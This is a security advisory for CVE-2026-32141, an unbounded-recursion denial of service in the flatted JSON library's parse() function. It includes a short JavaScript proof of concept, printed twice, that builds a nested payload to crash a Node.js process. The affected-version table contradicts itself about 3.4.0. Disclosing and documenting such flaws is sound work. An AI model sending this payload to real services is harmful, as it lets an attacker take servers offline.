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7.5
flatted Can Be Hacked to Crash Server with Malicious Data
CVE-2026-32141
GHSA-25h7-pfq9-p65f
GHSA-25h7-pfq9-p65f
Summary
flatted, a popular JSON serialization library, can crash a server if it's given a specially crafted piece of data. This could allow an attacker to make a server unavailable by sending a single malicious request. If you use flatted in your application, you should update to the latest version to prevent this.
What to do
- Update flatted to version 3.4.0.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | flatted | <= 3.4.0 | 3.4.0 |
Original title
flatted vulnerable to unbounded recursion DoS in parse() revive phase
Original description
## Summary
flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
## Impact
Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
## Proof of Concept
```javascript
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```
## Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.
## Affected Versions
All versions prior to the PR #88 fix.
flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
## Impact
Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
## Proof of Concept
```javascript
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```
## Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.
## Affected Versions
All versions prior to the PR #88 fix.
nvd CVSS3.1
7.5
Vulnerability type
CWE-674
- https://github.com/WebReflection/flatted/commit/7eb65d857e1a40de11c47461cdbc8541...
- https://github.com/WebReflection/flatted/pull/88
- https://github.com/WebReflection/flatted/security/advisories/GHSA-25h7-pfq9-p65f
- https://nvd.nist.gov/vuln/detail/CVE-2026-32141
- https://github.com/advisories/GHSA-25h7-pfq9-p65f
- https://github.com/WebReflection/flatted Product
Published: 13 Mar 2026 · Updated: 14 Mar 2026 · First seen: 12 Mar 2026